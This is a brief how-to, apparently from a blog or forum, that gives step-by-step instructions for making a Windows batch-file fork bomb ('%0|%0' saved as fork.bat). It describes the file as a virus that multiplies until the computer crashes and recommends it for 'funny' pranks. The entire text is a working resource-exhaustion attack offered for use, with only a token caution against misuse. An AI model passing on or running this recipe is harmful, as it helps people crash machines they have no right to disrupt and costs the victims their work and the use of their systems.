Its Just too easy to create, just follow the below steps.
1. Open Notepad on your PC and write this Code into it.
%0|%0 or copy it from here to your Notepad
2. Then save it with a .bat extension! When saving delete the .txt and input the File name and the .bat extension e.g fork.bat
If this Virus is on your PC, and you put it ON, it automatically create two instances and multiply over and over again until your PC Crash. So this is a very nice way to do some funny stuffs but i guess you dont use it for the Wrong Purpose.